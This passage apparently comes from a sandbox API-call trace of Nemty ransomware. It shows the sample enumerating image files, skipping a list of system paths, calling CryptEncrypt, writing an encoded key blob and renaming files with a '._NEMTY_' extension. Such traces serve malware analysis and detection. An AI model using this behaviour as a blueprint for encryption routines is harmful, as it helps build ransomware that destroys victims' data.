lpString2="..") returned 1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="...") returned 1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="windows") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="$RECYCLE.BIN") returned 1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="rsa") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="NTDETECT.COM") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="ntldr") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="MSDOS.SYS") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="IO.SYS") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="boot.ini") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="boot.ini") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="AUTOEXEC.BAT") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="ntuser.dat") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="desktop.ini") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="CONFIG.SYS") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="RECYCLER") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="BOOTSECT.BAK") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="bootmgr") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="programdata") returned -1 [0127.035] lstrcmpiW (lpString1="activity16v.png", lpString2="appdata") returned -1 [0127.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0127.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0127.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0127.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0127.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0127.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0127.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0127.036] Sleep (dwMilliseconds=0x5) [0127.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff5f02b0, dwHighDateTime=0x1d561e7)) [0127.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff5f02b0, dwHighDateTime=0x1d561e7)) [0127.044] GetLastError () returned 0xb7 [0127.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.044] GetLastError () returned 0xb7 [0127.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.045] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0127.045] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="kC7XMqEMMocVOk3vsXpbIim+0C951qGaEcEnT8PPYGqsIj/Lcg+SroqD77LhXsnu\r\nQgqYWoR44Zu5OlVEjUFlVnfQXatfvbrAInu5oBfv/7ePCIYCOv8uKxfCmT8/07s3\r\nSXQp1D6+3eOYNHp65KgCSSdZf0Qn7IBd2DgmuEhjsuyr6uS6pIw5AOWu3T/Pls3G\r\nthdE2VsYwlHwrM4ckObrMFJW+momDw8H4s+UkBGtaO6UI1brKRKzndqruJy/jDWu\r\ngDa227gzOCqCqBY1uWtQgsG2HMO14QcxgkCPAco82QMiS6pPiqqPwd+Q3Y4VtUy0\r\nAHEsVqkhEOf4qBdzGiIxvA==\r\n", pcchString=0x653e91c) returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0127.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0127.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.045] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\activity16v.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\activity16v.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.046] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.084] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.084] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.084] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.093] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.152] CloseHandle (hObject=0xffffffff) returned 0 [0127.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0127.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0127.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0127.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0127.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\activity16v.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\activity16v.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\activity16v.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\activity16v.png._nemty_kgobjgd_")) returned 0 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.153] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296c7da5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2=".") returned 1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="..") returned 1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="...") returned 1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="windows") returned -1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="$RECYCLE.BIN") returned 1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="rsa") returned -1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="NTDETECT.COM") returned -1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="ntldr") returned -1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="MSDOS.SYS") returned -1 [0127.153] lstrcmpiW (lpString1="add_down.png", lpString2="IO.SYS") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="boot.ini") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="boot.ini") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="AUTOEXEC.BAT") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="ntuser.dat") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="desktop.ini") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="CONFIG.SYS") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="RECYCLER") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="BOOTSECT.BAK") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="bootmgr") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="programdata") returned -1 [0127.154] lstrcmpiW (lpString1="add_down.png", lpString2="appdata") returned -1 [0127.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_down.png", lpUsedDefaultChar=0x0) returned 12 [0127.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_down.png", lpUsedDefaultChar=0x0) returned 12 [0127.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_down.png", 